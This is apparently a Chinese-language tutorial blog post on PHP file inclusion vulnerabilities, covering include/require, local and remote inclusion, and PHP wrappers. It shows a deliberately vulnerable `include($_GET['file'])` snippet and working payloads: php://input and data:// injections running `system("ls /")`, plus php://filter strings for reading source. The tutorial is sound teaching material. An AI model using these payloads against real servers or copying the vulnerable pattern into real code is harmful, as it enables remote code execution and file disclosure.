首页 > 编程语言 >文件包含漏洞(----php伪协议)

文件包含漏洞(----php伪协议)

时间:2023-06-12 20:46:33浏览次数:45  
标签:文件 resource 包含 read ---- 漏洞 php filter

文件包含漏洞

在通过 PHP 的函数引入文件时,为了灵活包含文件会将被包含文件设置为变量,通过动态变量来引入需要包含的文件。此时用户可以对变量的值可控,而服务器端未对变量值进行合理地校验或者校验被绕过,就会导致文件包含漏洞。

文件包含函数

include()

代码执行到 include() 函数时将文件包含

include_once()

当重复调用同一文件时只调用一次,功能与 include() 相同

require()

require() 执行如果发生错误,函数会报错并终止脚本

require_once()

当重复调用同一文件时只调用一次,功能与 require() 相同

文件包含漏洞分类

本地包含

当包含的文件在服务器本地时,就形成了本地文件包含。文件包含可以包含任意文件,被包含的文件可以不是 PHP 代码,可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行,如果包含的文件内容不符合 php 语法,会直接将文件内容输出。

<?php
    $file = $_GET['file'];
    include($file);
?>

远程包含

当包含的文件在远程服务器上时,就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同,远程文件包含需要在 php.ini 中设置:

allow_url_include = on(是否允许 include/require 远程文件)
allow_url_fopen = on(是否允许打开远程文件)

php伪协议

image

php://input

php 协议还常用 php://input,这可以访问请求的原始数据的只读流,可以读取 POST 请求的参数。
?file=php://input
post传参:
<?php system("ls /");?>
然后查看文件内容:

无过滤

php://filter/resource=

字符串过滤
php://filter/read=string.rot13/resource=

php://filter/read=string.toupper/resource=

php://filter/read=string.tolower/resource=

php://filter/read=string.string_tags/resource=
转换过滤
php://filter/read=convert.base64-encode/resource=

php://filter/read=convert.quoted-printable-encode/resource=

data 伪协议

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:
data://text/plain;base64,xxxx(base64编码后的数据)
eg:

<?php system("ls /")?>

?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyAvIik/Pg==

标签:文件,resource,包含,read,----,漏洞,php,filter
From: https://www.cnblogs.com/caihaiyang/p/17476050.html

相关文章

  • 探索后疫情时代Airbnb实现逆周期增长的四大策略
    ​01.发挥P2P优势,打造差异化的“旅居生活体验”P2P(Peer-to-Peer)是一种点对点的网络模式,即用户之间可以直接进行交流和交易,无需通过中介或第三方机构。早期Airbnb对P2P的利用仅局限在空置房间的供应上,初期目标客户定位为只追求便宜价格的沙发客,这一客户群体不要求过多的舒适的住......
  • ParaView显示颗粒的真实大小
    在使用CFDEM或者OpenFOAM中的DPMFoam等求解器计算完成以后,可以通过下面方法来查看颗粒的真实大小。1.加载完计算结果controlDict.foam后,通过ExtractBlock这个filter,提取“lagrangian”以及“particleCloud”,点击“Apply”。之后就会计算的颗粒,颗粒如红色框框中的两个点所示。 ......
  • 基于XC7Z100+OV5640(DSP接口)YOLO人脸识别前向推理过程(部分4)
    AXI-DMA使用介绍内容概述如何在Zynq平台上使用AXI-DMA进行PS和PL之间的高带宽数据传输。主要包括以下几个部分:AXI-DMA的简介和模式选择AXI-DMA的寄存器配置和编程顺序Vivado工程的创建和IP核的添加Vitis工程的创建和示例代码的运行ILA信号的抓取和分析AXI-DMA的简介......
  • mybatis分页插件示例
    代码示例: 注意Service中的返回值必须要和mapper中的返回值类型的@OverridepublicPageInfo<UserDO>test(ReqQueryDTOreq){PageHelper.startPage(req.getPageNumber(),req.getPageSize());List<UserDO>userDOS=mapper.pageAllSpaces(req);......
  • 代码随想录day06
     第三章 哈希表part01242.有效的字母异位词 349. 两个数组的交集 202. 快乐数 1. 两数之和 当我们遇到了要快速判断一个元素是否出现集合里的时候,就要考虑哈希法。242.有效的字母异位词注意点:字符串长度表示方法s.length()要带括号字符串取字符s......
  • 相位熵Phase entropy,多尺度相位熵,层次相位熵,时移多尺度相位熵,复合多尺度相位熵,精细复
    复杂系统内部结构特征的提取一直是研究人员关注的问题。时间序列作为复杂系统的重要信息载体,得到了广泛的研究。时间序列的复杂性与时间序列的多种动态特性密切相关,如长程相关等、多重分形特征、混沌特征等。这些特征的存在使得时间序列表现出不同程度的复杂性。研究人员希望通过......
  • leetCode1768.交替合并字符串 && [1679] K 和数对的最大数目
    题目:给你两个字符串word1和word2。请你从word1开始,通过交替添加字母来合并字符串。如果一个字符串比另一个字符串长,就将多出来的字母追加到合并后字符串的末尾。返回合并后的字符串。      输入:word1="abc",word2="pqr"      输出:"apbqcr......
  • 箭头函数this指向
    箭头函数与普通函数的区别1、语法更加简洁清晰2、箭头函数不会创建自己的this箭头函数没有自己的this,它会捕捉自己在定义时所处外层执行环境的this,并继承这个this值。所以箭头函数中this的指向在它被定义的时候就已经确定了,之后不再改变。下面例子中,fun1中setTimeout中使用......
  • 专注开发者体验 | GitOps 实现 Kuberentes 持续部署
    大量的企业已经将Kuberentes用于其生产环境,但面对他们正在运行的多套不同阶段的Kuberentes集群,仍然困惑于在保证业务团队敏捷性的同时,如何实现持续部署,高安全性、权限分离以及可审计。我们认为GitOps是目前比较理想的一种方法来实现基于Kuberentes集群的持续部署,且同时......
  • 生物押题,从入门到放弃
    今天是国际生物多样性日,祝中考顺利顺便押题:26.(6分)2023年国际生物多样性日全球主场活动在昆明举行。今年国际生物多样性日的主题是“从协议到协力:复元生物多样性”。下表显示了昆明部分生物类群的初步调查结果。(1)上表直接体现了生物多样性的___________多样性,其根本是______......